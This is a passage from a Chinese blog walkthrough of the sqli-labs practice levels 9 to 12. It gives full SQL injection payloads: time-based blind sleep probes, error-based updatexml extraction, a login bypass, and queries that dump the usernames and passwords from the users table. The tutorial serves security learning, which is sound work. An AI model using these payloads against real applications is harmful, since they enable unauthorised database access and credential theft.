    	1' and if (ord(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1))=105,sleep(5),1)--+
    4、爆表中数据
    	//爆数据总长度
    	1' and if (length(substr((select group_concat(username,'^',password) from security.users),1))=188,sleep(5),1)--+
    	//依次爆破每一位字符
    	1' and if (substr((select group_concat(username,'^',password) from security.users),1,1)='D',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1' and if (ord(substr((select group_concat(username,'^',password) from security.users),1,1))=68,sleep(5),1)--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    10、Less-10   GET - Blind - Time based - double quotes

           第10关和第9关的唯一区别在于单引号变成了双引号,做题思路是一样的,这里不再详细说明。使用以下的payload也可以确认出,第10关是基于一个双引号的字符型时间注入

    ?id=1" and if (length(database())>1,sleep(5),1)--+
    
    • 1

    该关卡使用的payload如下:

    1、爆数据库
    	//注意:因为length函数不支持直接对子查询进行操作,因此需要先使用substr函数将查询结果转换为字符串,然后再使用length函数计算其长度
    	1" and if (length(substr((select group_concat(schema_name) from information_schema.schemata),1))=75,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各数据库名的长度
    	1" and if (length(substr((select schema_name from information_schema.schemata limit 0,1),1))=18,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1" and if (substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1" and if (ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=105,sleep(5),1)--+
    2、爆指定库中所有表
    	1" and if (length(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1))=29,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1" and if (length(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1))=6,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1" and if (substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1)='e',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1" and if (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'security'),1,1))=101,sleep(5),1)--+
    3、爆指定表中所有字段
    	1" and if (length(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1))=20,sleep(5),1)--+
    	//也可以使用下面的payload来逐个获取各表名的长度
    	1" and if (length(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1))=2,sleep(5),1)--+
    	//依次爆破每一位的字符
    	1" and if (substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1)='i',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1" and if (ord(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),1,1))=105,sleep(5),1)--+
    4、爆表中数据
    	//爆数据总长度
    	1" and if (length(substr((select group_concat(username,'^',password) from security.users),1))=188,sleep(5),1)--+
    	//依次爆破每一位字符
    	1" and if (substr((select group_concat(username,'^',password) from security.users),1,1)='D',sleep(5),1)--+
    	//也可以通过ASCII码值来判断
    	1" and if (ord(substr((select group_concat(username,'^',password) from security.users),1,1))=68,sleep(5),1)--+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    11、Less-11   POST - Error Based - Single quotes- String

           11关中用户输入的参数位置由之前的GET请求的url中,变为了POST请求中的请求体中。
    在这里插入图片描述
    username中输入a’后语法报错
    在这里插入图片描述
    username中输入a’-- 后无报错,也可以用a#,可知注入类型是一个单引号的字符型注入
    在这里插入图片描述
    username使用以下payload可以登陆成功,这里password可以随便输入或者不输入

    a' or 1=1 #
    
    • 1

    在这里插入图片描述
    这里尝试了一下,其实这一关使用联合注入、布尔注入、报错注入也都是可以的
    注意:以下的演示均以username参数的注入为例,password不输入
    简单演示一下联合注入的过程:
    确定字段数为2:a’ order by 3 #
    在这里插入图片描述
    确定参数输出位置:a’ union select 1,2#
    在这里插入图片描述
    获取数据库版本:a’ union select 1,version()#
    在这里插入图片描述
    简单演示一下布尔注入的过程:
    能够布尔注入的前提是已知网站的一个用户名,否则只会显示登陆失败一种结果
    这里使用前面获取到的Dumb用户,使用以下payload可以看出布尔注入是可行的

    Dumb' and length(database())>1 #
    
    • 1

    在这里插入图片描述

    Dumb' and length(database())=1 #
    
    • 1

    在这里插入图片描述
    使用以下payload也可以知道报错注入也是可行的

    a' and updatexml(1,concat(0x7e,version(),0x7e),1)#
    
    • 1

    在这里插入图片描述

    因为这一关主要考察报错注入,因此这里按照报错注入的思路来对数据库进行爆破
    注入使用的payload如下:

    这里以updatexml()函数为例:
    1、爆数据库
    	a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
    2、爆指定库中所有表
    	a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
    3、爆指定表中所有字段
    	a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),0x7e),1)#
    4、爆表中数据
    	a' and updatexml(1,concat(0x7e,(select concat_ws("^",username,password) from security.users limit 0,1),0x7e),1)#
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    执行过程如下:
    爆数据库
    在这里插入图片描述
    爆security库中所有表
    在这里插入图片描述
    爆users表中所有字段
    在这里插入图片描述
    爆users表中数据
    在这里插入图片描述

    12、Less-12   POST - Error Based - Double quotes- String - with twist

           12关与11关界面一样,首先先确定注入类型
           username中输入a’不报错,说明不是单引号闭合
    在这里插入图片描述
    输入a’'报语法错误,且从报错信息password=(“”)可以看出,这一关是一个双引号加一个右括号的字符型注入
    在这里插入图片描述
    确定注入类型之后就比较简单了,注入思路和第11关一样,使用联合注入、布尔注入、报错注入都可以,这里不再赘述
    以下是报错注入的payload:

    这里以updatexml()函数为例:
    1、爆数据库
    	a") and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#
    2、爆指定库中所有表
    	a") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
    3、爆指定表中所有字段
    	a") and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name = 'users' limit 0,1),0x7e),1)#
    4、爆表中数据
    	a") and updatexml(1,concat(0x7e,(select concat_ws("^",username,password) from security.users limit 0,1),0x7e),1)#
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    执行过程如下:
    爆数据库
    在这里插入图片描述

    爆security库中所有表
    在这里插入图片描述

    爆users表中所有字段
    在这里插入图片描述

    爆users表中数据
    在这里插入图片描述

  • 相关阅读:
    将STM32 Flash的一部分虚拟为大容量存储设备 USB_Device
    Hive(12):Hive的函数之自定义函数
    MySQL运维9-Mycat分库分表之枚举分片
    如何加快Chrome谷歌浏览器下载速度?
    开源任务调度框架
    提高 Web 开发效率的10个VS Code扩展插件,你知道吗?
    对象存储服务中对象业务的非标接口
    Qt出现假死冻结现象
    浅析RocketMQ-broker接收消息
    Java之语法糖
  • 原文地址:https://blog.csdn.net/weixin_43785509/article/details/127914154